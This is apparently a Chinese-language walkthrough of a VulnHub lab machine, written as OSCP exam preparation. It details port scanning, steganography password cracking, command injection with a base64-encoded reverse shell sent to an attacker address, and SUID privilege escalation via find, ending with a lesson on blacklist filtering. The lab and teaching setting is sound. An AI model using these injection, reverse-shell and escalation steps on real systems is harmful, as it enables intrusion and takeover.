谷安靶机:172.16.33.49
靶机官网:haclabs: no_name[1]
实战思路:
-
主机发现 -
端口发现(服务、组件、组件) -
漏洞发现(获取权限) -
80端口/HTTP服务 -
组件漏洞 -
URL漏洞(目录、文件) -
提升权限 -
sudo -
suid -
后记
一、主机发现
本次攻击指定IP,不涉及主机发现过程。
二、端口发现(服务、组件、组件)
使用命令 sudo -u root nmap 172.16.33.49 -n -Pn -p- --reason -sV -sC -O
,发现主机开放的端口、提供的服务、使用的组件、组件的版本。
开放的端口 |
提供的服务 |
使用的组件 |
组件的版本 |
80/tcp |
http |
Apache httpd |
2.4.29 |
- |
os |
Ubuntu Linux |
? |
三、漏洞发现(获取权限)
80端口/HTTP服务
组件漏洞
01、中间件组件:使用命令searchsploit Apache httpd 2.4.29
和searchsploit Apache httpd 2.4.
,未发现Apache httpd 2.4.29组件的Nday漏洞。
02、应用组件:使用Wappalyzer、FindSomething等浏览器插件自动识别应用组件,使用BurpSuite等工具手动识别应用组件,均无发现。
URL漏洞(目录、文件)
01、手动浏览:直接访问http://172.16.33.49/
,发现一个查询表单,一般会存在SQLi和XSS漏洞。
首先测试SQLi漏洞,分别使用单引号和双引号进行闭合,由于没有回显,因此同时使用时间盲注payloadand sleep(5)#
,在响应中均未发现报错或延时,说明可能不存在SQLi漏洞。
然后测试XSS漏洞,使用特殊字符串OneMoreThink
,在响应中未发现该字符串,说明可能不存在XSS漏洞。
从响应内容Fake ping executed
判断该查询表单可能还存在命令注入漏洞,使用payload||id
,在响应中未发现命令执行结果,说明可能不存在命令执行漏洞。
02、目录爆破:使用命令dirb http://172.16.33.49/
爆破目录和文件,发现/admin
文件。
访问http://172.16.33.49/admin
发现只有4张图片。
下载4张图片到本地,使用命令steghide –info 图片
查看是否存在隐写,发现ctf-01.jpg
、haclabs.jpeg
、new.jpg
3张图片存在隐写,但都需要密码才能提取隐写的内容,另外Short.png
1张图片不存在隐写。
使用命令stegseek 图片
爆破隐写的密码,发现haclabs.jpeg
的隐写密码是harder
、new.jpg.out
的隐写密码是lol
。
使用命令cat haclabs.jpeg.out
查看文件内容,发现是base64编码,使用命令cat haclabs.jpeg.out | base64 -d
查看文件内容,获得文件名superadmin.php
。使用命令cat new.jpg.out
查看文件内容,获得一些用户名。
访问http://172.16.33.49/superadmin.php
又发现查询表单,这次提示输入一个IP去ping。
一般这种情况会存在命令注入漏洞,使用payload||id
,在响应中发现命令执行结果,说明存在命令执行漏洞。
那就反弹一个shell吧,通过前面的网站URL知道网站用的是PHP语言,所以可以用PHP来反弹shell,使用命令./rsg 10.8.0.110 3349 php
获得PHP语言的反弹shell语句。
但直接使用不会生效,查看WriteUp才知道payload会被拦截,所以最终使用的payload是||echo BASE64编码的反弹SHELL | base64 -d | bash
,成功获得shell权限。
03、模糊测试:基于目前已知的信息,没有对网站的目录和文件进行FUZZ的必要。
04、信息收集:前面在Firefox浏览网站的流量全都经过BurpSuite代理,并在BurpSuite中使用HaE插件分析敏感信息,无收获。
四、提升权限
sudo
使用命令sudo -l
查看当前用户www-data能以谁的权限执行哪些命令,发现没有tty终端,无法调用身份验证程序。
使用命令which python
和which python3
查看系统是否安装python,发现安装了python3,使用命令python3 -c 'import pty; pty.spawn("/bin/bash")'
成功获取tty终端。
使用命令sudo -l
,由于没有当前用户www-data的SSH密码,最终还是执行失败。
suid
使用命令find / -perm -u=s -ls 2>/dev/null
查看哪些程序允许使用者以属主的权限执行,发现还挺多。逐个在GTFOBins[2]查询能否提权,发现find
可以,最终使用命令find . -exec /bin/sh -p ; -quit
成功提权到root权限。
后记
迫不及待地查看前面需要通过WriteUp才知道命令注入payload会被拦截的具体原因,发现是命令在被shell_exec
执行前,会被str_replace
删掉word
列表中的关键字,同时还会用strcmp
检查是否删除干净以免被双写绕过。
可惜呀,word
列表中应该把我们前面命令执行用到的base64
和bash
也加上的,所以还是被我们用黑名单穷举给绕过了。
果然呀,黑名单不是个好东西,如果是用白名单来检查IP格式是否正确,那就没得绕过了。
参考资料
haclabs: no_name: https://www.vulnhub.com/entry/haclabs-no_name,429/
[2]GTFOBins: https://gtfobins.github.io/
原文始发于微信公众号(OneMoreThink):靶机实战(8):OSCP备考之谷安172.16.33.49
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论